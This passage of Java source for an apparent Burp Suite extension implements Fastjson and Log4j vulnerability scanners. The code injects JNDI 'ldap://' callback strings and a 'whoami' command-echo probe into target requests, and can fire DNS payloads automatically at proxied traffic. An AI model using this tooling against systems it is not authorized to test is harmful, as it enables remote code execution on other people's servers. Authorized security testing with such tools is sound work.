private static volatile boolean autoRefresh = true; // 控制是否自动刷新
private static final Object refreshLock = new Object();
private JCheckBox autoRefreshCheckBox; // 自动刷新开关
private static JTable fastjsonTable; // fastjson表格
private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求
private JCheckBox passiveScanCheckBox; // 添加被动扫描复选框
private IMessageEditor HRequestTextEditor; // 请求编辑器
private IMessageEditor HResponseTextEditor; // 响应编辑器
private static final List fastjsonlog = new ArrayList<>(); // fastjson日志
public static String dnslog; // dnslog地址
public static String ip; // ip地址
private static List jndiPayloads = new ArrayList<>(); // jndi payloads
private static List versionPayloads = new ArrayList<>(); // jndi payloads
private static List dnsPayloads = new ArrayList<>(); // jndi payloads
private static List echoPayloads = new ArrayList<>(); // jndi payloads
private static final Lock lock = new ReentrantLock();
private boolean isPassiveScanEnabled = false; // 控制被动扫描状态
public static void resetAllCaches() {
UrlCacheUtil.resetCache("fastjson");
}
@Override
public IHttpService getHttpService() {
return currentlyDisplayedItem.getHttpService();
}
@Override
public byte[] getRequest() {
return currentlyDisplayedItem.getRequest();
}
@Override
public byte[] getResponse() {
return currentlyDisplayedItem.getResponse();
}
@Override
public void init() {
dnslog = getConfig("config", "dnslog").getValue();
ip = getConfig("config", "ip").getValue();
jndiPayloads = getFastjsonListsByType("jndi");
versionPayloads = getFastjsonListsByType("version");
dnsPayloads = getFastjsonListsByType("dns");
echoPayloads = getFastjsonListsByType("echo");
setupUI();
setupData();
// 注册HTTP监听器
Utils.callbacks.registerHttpListener(this);
}
// 初始化数据
private void setupData() {
// 清空按钮事件
btnClear.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
fastjsonlog.clear();
UrlCacheUtil.resetCache("fastjson"); // 清空URL缓存
HRequestTextEditor.setMessage(new byte[0], true);
HResponseTextEditor.setMessage(new byte[0], false);
refreshTable();
}
});
// 刷新按钮事件
btnRefresh.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
refreshTable();
}
});
// 自动刷新开关事件
autoRefreshCheckBox.addActionListener(e -> {
setAutoRefresh(autoRefreshCheckBox.isSelected());
if(autoRefreshCheckBox.isSelected()) {
refreshTable(); // 当开启自动刷新时,立即进行一次刷新
}
});
// 添加被动扫描复选框事件监听
passiveScanCheckBox.addActionListener(e -> {
isPassiveScanEnabled = passiveScanCheckBox.isSelected();
});
}
// 刷新表格方法
private static void refreshTable() {
SwingUtilities.invokeLater(() -> {
if(fastjsonTable != null) {
((AbstractTableModel)fastjsonTable.getModel()).fireTableDataChanged();
}
});
}
// 初始化UI
private void setupUI() {
panel = new JPanel();
panel.setLayout(new BorderLayout());
// 顶部面板添加清空按钮和被动扫描复选框
JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));
btnClear = new JButton(I18nUtils.get("fastjson.button.clear"));
passiveScanCheckBox = new JCheckBox(I18nUtils.get("fastjson.checkbox.passive_scan"));
btnRefresh = new JButton(I18nUtils.get("fastjson.button.refresh"));
autoRefreshCheckBox = new JCheckBox(I18nUtils.get("fastjson.checkbox.auto_refresh"));
autoRefreshCheckBox.setSelected(true); // 默认开启自动刷新
topPanel.add(btnClear);
topPanel.add(btnRefresh);
topPanel.add(autoRefreshCheckBox);
topPanel.add(passiveScanCheckBox);
panel.add(topPanel, BorderLayout.NORTH);
// 上下分割面板,比例是7:3
JSplitPane mainsplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
mainsplitPane.setResizeWeight(0.7);
mainsplitPane.setDividerLocation(0.7);
// 添加URLTable到mainsplitPane的上边
fastjsonTable = new URLTable(new FastjsonModel());
JScrollPane scrollPane = new JScrollPane(fastjsonTable);
mainsplitPane.setTopComponent(scrollPane);
// 创建一个自定义的单元格渲染器
DefaultTableCellRenderer renderer = new DefaultTableCellRenderer() {
@Override
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
JLabel label = (JLabel) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);
label.setHorizontalAlignment(JLabel.CENTER);
label.setHorizontalTextPosition(JLabel.CENTER);
label.setIconTextGap(0);
label.setMaximumSize(new Dimension(Integer.MAX_VALUE, label.getPreferredSize().height));
label.setToolTipText((String) value); // 设置鼠标悬停时显示的提示文本
return label;
}
};
fastjsonTable.getColumnModel().getColumn(5).setCellRenderer(renderer);
// 左右分割面板,对称分割
JSplitPane splitPaneDown = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
splitPaneDown.setResizeWeight(0.5);
splitPaneDown.setDividerLocation(0.5);
// 添加请求响应到左右分割面板
fastjsonreq = new JTabbedPane();
HRequestTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, true);
fastjsonreq.addTab("Request", HRequestTextEditor.getComponent());
fastjsonresp = new JTabbedPane();
HResponseTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, false);
fastjsonresp.addTab("Response", HResponseTextEditor.getComponent());
splitPaneDown.setLeftComponent(fastjsonreq);
splitPaneDown.setRightComponent(fastjsonresp);
// 添加splitPaneDown到mainsplitPane的下边
mainsplitPane.setBottomComponent(splitPaneDown);
panel.add(mainsplitPane, BorderLayout.CENTER);
}
@Override
public JPanel getPanel(IBurpExtenderCallbacks callbacks) {
return panel;
}
@Override
public String getTabName() {
return "Fastjson";
}
// dnslog检测
public void CheckDnslog(IHttpRequestResponse[] responses) {
lock.lock();
try{
IHttpRequestResponse baseRequestResponse = responses[0];
IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
String extensionMethod = analyzeRequest.getMethod();
URL dnsurl = analyzeRequest.getUrl();
String url = analyzeRequest.getUrl().toString();
List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
String res = "dnslog检测,请查看dnslog服务器";
IHttpService iHttpService = baseRequestResponse.getHttpService();
for (FastjsonBean fastjson : dnsPayloads) {
String fastjsonDnslog = fastjson.getValue();
String dnslogPayload = Utils.generateDnsPayload(dnsurl, dnslog);
String fuzzPayload = fastjsonDnslog.replace("FUZZ", dnslogPayload);
String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload);
byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload);
byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
String statusCode = String.valueOf(iResponseInfo.getStatusCode());
add(extensionMethod, url, statusCode, res, fuzzPayload,resp);
}
}finally {
lock.unlock();
}
}
// echo命令检测
public void CheckEchoVul(IHttpRequestResponse[] responses) {
lock.lock();
try{
IHttpRequestResponse baseRequestResponse = responses[0];
IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
String extensionMethod = analyzeRequest.getMethod();
String url = analyzeRequest.getUrl().toString();
List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
// 弹出一个输入框,用于获取用户输入的dnslog地址
String defaultValue = "whoami";
String echoVul = (String) JOptionPane.showInputDialog(null, I18nUtils.get("fastjson.message.enter_echo"), I18nUtils.get("config.title.info"), JOptionPane.PLAIN_MESSAGE, null, null, defaultValue);
if (echoVul == null){
JOptionPane.showMessageDialog(null, I18nUtils.get("fastjson.message.enter_echo"), I18nUtils.get("config.title.info"), JOptionPane.ERROR_MESSAGE);
return;
}
IHttpService iHttpService = baseRequestResponse.getHttpService();
Iterator iterator = echoPayloads.iterator();
headers.add("Accept-Cache: " + echoVul);
while (iterator.hasNext()) {
FastjsonBean fastjson = iterator.next();
String fastjsonEcho = fastjson.getValue();
byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonEcho);
byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
String statusCode = String.valueOf(iResponseInfo.getStatusCode());
List headersResp = iResponseInfo.getHeaders();
boolean containsContentAuth = false;
for (String header : headersResp) {
if (header.contains("Content-auth")) {
containsContentAuth = true;
break;
}
}
if (containsContentAuth) {
add(extensionMethod, url, statusCode, "echo命令检测完成,发现结果",fastjsonEcho, resp);
IScanIssue issues = null;
try {
issues = new CustomScanIssue(iHttpService, new URL(url), new IHttpRequestResponse[]{resp},
"Fastjson echo", "Fastjson echo命令检测完成,发现结果",
"High", "Certain");
Utils.callbacks.addScanIssue(issues);
} catch (MalformedURLException e) {
throw new RuntimeException(e);
}
} else {
add(extensionMethod, url, statusCode, "echo命令检测完成,未发现结果",fastjsonEcho, resp);
}
}
}finally {
lock.unlock();
}
}
// jndi检测
public void CheckJNDIVul(IHttpRequestResponse[] responses) {
lock.lock();
try {
IHttpRequestResponse baseRequestResponse = responses[0];
IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
String extensionMethod = analyzeRequest.getMethod();
String url = analyzeRequest.getUrl().toString();
List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
try {
String jndiStr = "";
String defaultValue = "IP"; // 设置默认值
String[] options = {"DNS", "IP"}; // 单选框选项
String selectedValue = (String) JOptionPane.showInputDialog(null, I18nUtils.get("fastjson.dialog.select_type"), I18nUtils.get("fastjson.dialog.tip"),
JOptionPane.PLAIN_MESSAGE, null, options, defaultValue);
if (Objects.equals(selectedValue, "DNS")) {
jndiStr = dnslog;
}
if (Objects.equals(selectedValue, "IP")) {
jndiStr = ip;
}
IHttpService iHttpService = baseRequestResponse.getHttpService();
for (FastjsonBean payload : jndiPayloads) {
String dnslogKey = "";
String fastjsonJNDI = payload.getValue();
String id = String.valueOf(payload.getId());
if (selectedValue.equals("DNS")) {
dnslogKey = "ldap://" + id + "." + jndiStr;
} else {
dnslogKey = "ldap://" + jndiStr + "/" + id;
}
String fuzzPayload = fastjsonJNDI.replace("FUZZ", dnslogKey);
String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload);
byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload);
byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
String statusCode = String.valueOf(iResponseInfo.getStatusCode());
add(extensionMethod, url, statusCode, "jndi检测完成,请查看服务器",fuzzPayload, resp);
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
}
}finally {
lock.unlock();
}
}
// version检测
public void CheckVersion(IHttpRequestResponse[] responses) {
lock.lock();
try{
IHttpRequestResponse baseRequestResponse = responses[0];
IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
String extensionMethod = analyzeRequest.getMethod();
String url = analyzeRequest.getUrl().toString();
List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
IHttpService iHttpService = baseRequestResponse.getHttpService();
for (FastjsonBean fastjson : versionPayloads) {
String fastjsonVersion = fastjson.getValue();
byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonVersion);
byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
String statusCode = String.valueOf(iResponseInfo.getStatusCode());
add(extensionMethod, url, statusCode, "version检测完成,请查看返回包",fastjsonVersion, resp);
}
}finally {
lock.unlock();
}
}
// 添加日志
private static void add(String extensionMethod, String url, String status, String res,String req, IHttpRequestResponse baseRequestResponse) {
synchronized (fastjsonlog) {
int id = fastjsonlog.size();
fastjsonlog.add(new FastjsonEntry(id, extensionMethod, url, status, res,req, baseRequestResponse));
// 只保留refreshTable即可,删除updateUI
if(autoRefresh) {
refreshTable();
}
}
}
public static void setAutoRefresh(boolean value) {
synchronized (refreshLock) {
autoRefresh = value;
}
}
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {
// 只处理被动扫描启用、响应包、且来自代理或Spider的请求
if (!isPassiveScanEnabled || messageIsRequest ||
(toolFlag != IBurpExtenderCallbacks.TOOL_PROXY &&
toolFlag != IBurpExtenderCallbacks.TOOL_SPIDER)) {
return;
}
IRequestInfo requestInfo = Utils.helpers.analyzeRequest(messageInfo);
URL infoUrl = requestInfo.getUrl();
String url = requestInfo.getUrl().toString();
String method = requestInfo.getMethod();
List headers = requestInfo.getHeaders();
// 检查是否为静态资源
if (Utils.isUrlBlackListSuffix(url)) {
return;
}
// 检查是否重复
if (!UrlCacheUtil.checkUrlUnique("fastjson", method, infoUrl, new ArrayList<>())) {
return;
}
// 检查是否为POST请求且Content-Type为JSON
if (!"POST".equalsIgnoreCase(method)) {
return;
}
boolean isJson = false;
for (String header : headers) {
if (header.toLowerCase().contains("content-type") &&
header.toLowerCase().contains("application/json")) {
isJson = true;
break;
}
}
if (!isJson) {
return;
}
// 进行Fastjson被动扫描测试
performPassiveScan(messageInfo);
}
// 执行被动扫描测试
private void performPassiveScan(IHttpRequestResponse baseRequestResponse) {
try {
IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
String url = analyzeRequest.getUrl().toString();
String method = analyzeRequest.getMethod();
List headers = analyzeRequest.getHeaders();
IHttpService httpService = baseRequestResponse.getHttpService();
URL dnsurl = analyzeRequest.getUrl();
// 使用dnslog payload进行测试
for (FastjsonBean fastjson : dnsPayloads) {
String fastjsonDnslog = fastjson.getValue();
String dnslogPayload = Utils.generateDnsPayload(dnsurl, dnslog);
String fuzzPayload = fastjsonDnslog.replace("FUZZ", dnslogPayload);
String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload);
byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload);
byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload);
IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(httpService, postMessage);
IResponseInfo responseInfo = Utils.helpers.analyzeResponse(resp.getResponse());
String statusCode = String.valueOf(responseInfo.getStatusCode());
// 记录扫描结果
add(method, url, statusCode, "被动扫描DNS检测", fuzzPayload, resp);
}
} catch (Exception e) {
Utils.stderr.println("Passive scan error: " + e.getMessage());
}
}
private static class FastjsonModel extends AbstractTableModel {
@Override
public int getRowCount() {
synchronized (fastjsonlog) {
return fastjsonlog.size();
}
}
@Override
public int getColumnCount() {
return 6;
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
synchronized (fastjsonlog) {
if (rowIndex >= 0 && rowIndex < fastjsonlog.size()) {
FastjsonEntry logEntry = fastjsonlog.get(rowIndex);
switch (columnIndex) {
case 0: return logEntry.id;
case 1: return logEntry.extensionMethod;
case 2: return logEntry.url;
case 3: return logEntry.status;
case 4: return logEntry.res;
case 5: return logEntry.req;
default: return "";
}
}
return "";
}
}
@Override
public String getColumnName(int column) {
switch (column) {
case 0:
return "id";
case 1:
return "method";
case 2:
return "url";
case 3:
return "status";
case 4:
return "res";
case 5:
return "req";
default:
return "";
}
}
}
private static class FastjsonEntry {
final int id;
final String extensionMethod;
final String url;
final String status;
final String res;
final String req;
final IHttpRequestResponse requestResponse;
private FastjsonEntry(int id, String extensionMethod, String url, String status, String res,String req, IHttpRequestResponse requestResponse) {
this.id = id;
this.extensionMethod = extensionMethod;
this.url = url;
this.status = status;
this.res = res;
this.req = req;
this.requestResponse = requestResponse;
}
}
private class URLTable extends JTable {
public URLTable(TableModel tableModel) {
super(tableModel);
TableColumnModel columnModel = getColumnModel();
columnModel.getColumn(0).setMaxWidth(50);
columnModel.getColumn(5).setMaxWidth(250);
}
@Override
public void changeSelection(int row, int col, boolean toggle, boolean extend) {
FastjsonEntry logEntry = fastjsonlog.get(row);
HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);
if (logEntry.requestResponse.getResponse() == null) {
HResponseTextEditor.setMessage(new byte[0], false);
} else {
HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);
}
currentlyDisplayedItem = logEntry.requestResponse;
super.changeSelection(row, col, toggle, extend);
}
}
}
================================================
FILE: src/main/java/burp/ui/Log4jUI.java
================================================
package burp.ui;
import burp.*;
import burp.bean.Log4jBean;
import burp.ui.UIHepler.GridBagConstraintsHelper;
import burp.utils.I18nUtils;
import burp.utils.JsonUtils;
import burp.utils.Utils;
import burp.utils.UrlCacheUtil;
import com.alibaba.fastjson.JSON;
import javax.swing.*;
import javax.swing.table.AbstractTableModel;
import javax.swing.table.TableColumnModel;
import javax.swing.table.TableModel;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.net.URL;
import java.util.List;
import java.util.*;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
import static burp.IParameter.*;
import static burp.dao.ConfigDao.getConfig;
import static burp.dao.Log4jDao.*;
/**
* @Author Xm17
* @Date 2024-06-22 12:45
*/
public class Log4jUI implements UIHandler, IMessageEditorController, IHttpListener {
private JPanel panel; // 主面板
private static JTable log4jtable; // log4j表格
private JCheckBox passiveScanCheckBox; // 被动扫描选择框
private JCheckBox originalValueCheckBox; // 原始payload值选择框
private JCheckBox checkHeaderCheckBox; // 检测header选择框
private JCheckBox isDnsOrIpCheckBox; // 是否是dns或者ip选择框
private JCheckBox checkWhiteListCheckBox; // 白名单域名检测选择框
private JCheckBox checkParmamCheckBox; // 检测参数选择框
private JButton saveWhiteListButton; // 保存白名单域名按钮
private JButton saveHeaderListButton; // 保存header按钮
private JButton savePayloadButton; // 保存log4j payload按钮
private JButton refreshTableButton; // 刷新表格按钮
private JButton clearTableButton;// 清空表格按钮
private JTextArea whiteListTextArea; // 白名单域名输入框
private JTextArea headerTextArea; // header输入框
private JTextArea payloadTextArea; // payload输入框
private JTabbedPane tabbedPanereq; // 请求tab
private JTabbedPane tabbedPaneresp; // 响应tab
private JScrollPane urltablescrollpane; // url table scroll pane
private IHttpRequestResponse currentlyDisplayedItem; // currently displayed item
private IMessageEditor HRequestTextEditor; // request editor
private IMessageEditor HResponseTextEditor; // response editor
private static final List log4jlog = new ArrayList<>();
private static final List parameterList = new ArrayList<>(); // 参数列表
private static final List urlHashList = new ArrayList<>(); // url hash list
private static boolean isPassiveScan; // 是否是被动扫描
private static boolean isOriginalValue; // 是否删除原始值
private static boolean isCheckHeader; // 是否检测header
private static boolean isCheckParam; // 是否检测参数
private static boolean isDnsOrIp; // 是否是dns或者ip
private static boolean isCheckWhiteList; // 是否检测白名单
private static Set log4jPayload = new LinkedHashSet<>(); // 存储log4j payload
private static List payloadList = new ArrayList<>(); // payload列表
private static List domainList = new ArrayList<>(); // 白名单域名
private static List headerList = new ArrayList<>(); // header列表
public static String dns;
public static String ip;
private static final Lock lock = new ReentrantLock();
public static void resetAllCaches() {
urlHashList.clear();
parameterList.clear();
UrlCacheUtil.resetCache("log4j");
}
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) {
if (isPassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) {
synchronized (log4jlog) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Check(new IHttpRequestResponse[]{iHttpRequestResponse},false);
}
});
thread.start();
}
}
}
@Override
public IHttpService getHttpService() {
return currentlyDisplayedItem.getHttpService();
}
@Override
public byte[] getRequest() {
return currentlyDisplayedItem.getRequest();
}
@Override
public byte[] getResponse() {
return currentlyDisplayedItem.getResponse();
}
@Override
public void init() {
// 存储白名单域名
List domain = getLog4jListsByType("domain");
// 将domain转为List
for (Log4jBean log4jBean : domain) {
domainList.add(log4jBean.getValue());
}
dns = getConfig("config", "dnslog").getValue();
ip = getConfig("config", "ip").getValue();
setupUI();
setupData();
}
// 初始化数据
private void setupData() {
// 被动扫描选择框
passiveScanCheckBox.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (passiveScanCheckBox.isSelected()) {
isPassiveScan = true;
} else {
isPassiveScan = false;
}
}
});
// 原始payload值选择框
originalValueCheckBox.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (originalValueCheckBox.isSelected()) {
isOriginalValue = true;
} else {
isOriginalValue = false;
}
}
});
// 检测header选择框
checkHeaderCheckBox.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (checkHeaderCheckBox.isSelected()) {
isCheckHeader = true;
} else {
isCheckHeader = false;
}
}
});
// 检测参数选择框
checkParmamCheckBox.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (checkParmamCheckBox.isSelected()) {
isCheckParam = true;
} else {
isCheckParam = false;
}
}
});
// 是否是dns或者ip选择框
isDnsOrIpCheckBox.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
dns = getConfig("config", "dnslog").getValue();
ip = getConfig("config", "ip").getValue();
if (isDnsOrIpCheckBox.isSelected()) {
isDnsOrIp = true;
isDnsOrIpCheckBox.setText("DNS");
} else {
isDnsOrIp = false;
isDnsOrIpCheckBox.setText("IP");
}
}
});
// 初始化白名单输入框
List domain = getLog4jListsByType("domain");
for (Log4jBean log4jBean : domain) {
whiteListTextArea.setText(whiteListTextArea.getText() + log4jBean.getValue() + "\n");
domainList.add(log4jBean.getValue());
}
// 初始化header输入框
List header = getLog4jListsByType("header");
for (Log4jBean log4jBean : header) {
headerTextArea.setText(headerTextArea.getText() + log4jBean.getValue() + "\n");
headerList.add(log4jBean.getValue());
}
// 初始化payload输入框
List payload = getLog4jListsByType("payload");
for (Log4jBean log4jBean : payload) {
payloadTextArea.setText(payloadTextArea.getText() + log4jBean.getValue() + "\n");
payloadList.add(log4jBean.getValue());
}
// 检测白名单选择框
checkWhiteListCheckBox.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (checkWhiteListCheckBox.isSelected()) {
isCheckWhiteList = true;
} else {
isCheckWhiteList = false;
}
}
});
// 保存白名单域名按钮
saveWhiteListButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
String whiteListTextAreaText = whiteListTextArea.getText();
deleteLog4jByType("domain");
// 如果包含换行符,就分割成多个domain
if (whiteListTextAreaText.contains("\n")) {
String[] split = whiteListTextAreaText.split("\n");
for (String s : split) {
Log4jBean log4jBean = new Log4jBean("domain", s);
saveLog4j(log4jBean);
}
} else {
Log4jBean log4jBean = new Log4jBean("domain", whiteListTextAreaText);
saveLog4j(log4jBean);
}
// 存储白名单域名
List domain = getLog4jListsByType("domain");
// 将domain转为List
for (Log4jBean log4jBean : domain) {
domainList.add(log4jBean.getValue());
}
whiteListTextArea.updateUI();
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
// 保存header按钮
saveHeaderListButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
String headerTextAreaText = headerTextArea.getText();
deleteLog4jByType("header");
String[] split = headerTextAreaText.split("\n");
for (String s : split) {
Log4jBean log4jBean = new Log4jBean("header", s);
saveLog4j(log4jBean);
}
List header = getLog4jListsByType("header");
for (Log4jBean log4jBean : header) {
headerList.add(log4jBean.getValue());
}
headerTextArea.updateUI();
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
// 保存payload按钮
savePayloadButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
String payloadTextAreaText = payloadTextArea.getText();
deleteLog4jByType("payload");
String[] split = payloadTextAreaText.split("\n");
for (String s : split) {
Log4jBean log4jBean = new Log4jBean("payload", s);
saveLog4j(log4jBean);
}
List payload = getLog4jListsByType("payload");
for (Log4jBean log4jBean : payload) {
payloadList.add(log4jBean.getValue());
}
payloadTextArea.updateUI();
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
// 刷新表格
refreshTableButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
log4jtable.updateUI();
}
});
// 清空表格
clearTableButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
log4jlog.clear();
HRequestTextEditor.setMessage(new byte[0], true);
HResponseTextEditor.setMessage(new byte[0], false);
urlHashList.clear();
UrlCacheUtil.resetCache("log4j"); // 清空URL缓存
log4jtable.updateUI();
}
});
}
// 初始化UI
private void setupUI() {
// 注册被动扫描监听器
Utils.callbacks.registerHttpListener(this);
panel = new JPanel();
panel.setLayout(new BorderLayout());
JPanel splitPane = new JPanel(new BorderLayout());
// 左边的面板
// 左边的上下按7:3分割
JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
leftSplitPane.setResizeWeight(0.7);
leftSplitPane.setDividerLocation(0.7);
// 左边的上面是表格
urltablescrollpane = new JScrollPane();
log4jtable = new URLTable(new Log4jModel());
urltablescrollpane.setViewportView(log4jtable);
leftSplitPane.setTopComponent(urltablescrollpane);
// 左边的下面是消息编辑器
tabbedPanereq = new JTabbedPane();
tabbedPaneresp = new JTabbedPane();
HRequestTextEditor = Utils.callbacks.createMessageEditor(this, false);
HResponseTextEditor = Utils.callbacks.createMessageEditor(this, false);
tabbedPanereq.addTab("Request", HRequestTextEditor.getComponent());
tabbedPaneresp.addTab("Response", HResponseTextEditor.getComponent());
JSplitPane leftDownSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
leftDownSplitPane.setResizeWeight(0.5);
leftDownSplitPane.setDividerLocation(0.5);
leftDownSplitPane.setLeftComponent(tabbedPanereq);
leftDownSplitPane.setRightComponent(tabbedPaneresp);
leftSplitPane.setBottomComponent(leftDownSplitPane);
// 右边的面板
// 右边的上下按7:3分割
JSplitPane rightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
rightSplitPane.setResizeWeight(0.7);
rightSplitPane.setDividerLocation(0.7);
// 右边的上部分 - 重新设计布局
// 添加被动扫描选择框
passiveScanCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.passive"));
// 添加删除原始值选择框
originalValueCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.original"));
// 添加检测cookie选择框
checkParmamCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.params"));
// 添加检测header选择框
checkHeaderCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.headers"));
// 添加白名单域名检测选择框
checkWhiteListCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.whitelist"));
isDnsOrIpCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.dns_ip"));
// 白名单域名保存按钮
saveWhiteListButton = new JButton(I18nUtils.get("log4j.button.save_whitelist"));
// 保存header按钮
saveHeaderListButton = new JButton(I18nUtils.get("log4j.button.save_header"));
// 白名单域名输入框列表
whiteListTextArea = new JTextArea(5,10);
whiteListTextArea.setLineWrap(false); // 自动换行
whiteListTextArea.setWrapStyleWord(false); // 按单词换行
JScrollPane whiteListTextAreascrollPane = new JScrollPane(whiteListTextArea);
// header检测数据框列表
headerTextArea = new JTextArea(5,10);
headerTextArea.setLineWrap(false); // 自动换行
headerTextArea.setWrapStyleWord(false); // 按单词换行
JScrollPane headerTextAreascrollPane = new JScrollPane(headerTextArea);
// 刷新表格按钮
refreshTableButton = new JButton(I18nUtils.get("log4j.button.refresh"));
// 清空表格按钮
clearTableButton = new JButton(I18nUtils.get("log4j.button.clear"));
// 白名单域名label
JLabel whiteDomainListLabel = new JLabel(I18nUtils.get("log4j.label.whitelist"));
// 检测header label
JLabel headerLabel = new JLabel(I18nUtils.get("log4j.label.header"));
// 添加到右边的上部分 - 重新设计布局
JPanel rightTopPanel = new JPanel();
rightTopPanel.setLayout(new BorderLayout());
rightTopPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));
// 创建扫描选项面板
JPanel scanOptionsPanel = new JPanel();
scanOptionsPanel.setLayout(new GridLayout(2, 3, 5, 5));
scanOptionsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("log4j.border.scan_options")));
scanOptionsPanel.add(passiveScanCheckBox);
scanOptionsPanel.add(originalValueCheckBox);
scanOptionsPanel.add(checkParmamCheckBox);
scanOptionsPanel.add(checkHeaderCheckBox);
scanOptionsPanel.add(checkWhiteListCheckBox);
scanOptionsPanel.add(isDnsOrIpCheckBox);
// 创建配置面板
JPanel configPanel = new JPanel();
configPanel.setLayout(new BorderLayout(5, 5));
configPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("log4j.border.configuration")));
// 白名单域名配置
JPanel whitelistPanel = new JPanel(new BorderLayout(5, 5));
whitelistPanel.add(whiteDomainListLabel, BorderLayout.NORTH);
whitelistPanel.add(whiteListTextAreascrollPane, BorderLayout.CENTER);
JPanel whitelistButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));
whitelistButtonPanel.add(saveWhiteListButton);
whitelistPanel.add(whitelistButtonPanel, BorderLayout.SOUTH);
// Header检测配置
JPanel headerPanel = new JPanel(new BorderLayout(5, 5));
headerPanel.add(headerLabel, BorderLayout.NORTH);
headerPanel.add(headerTextAreascrollPane, BorderLayout.CENTER);
JPanel headerButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));
headerButtonPanel.add(saveHeaderListButton);
headerPanel.add(headerButtonPanel, BorderLayout.SOUTH);
// 将白名单和Header配置放入分割面板
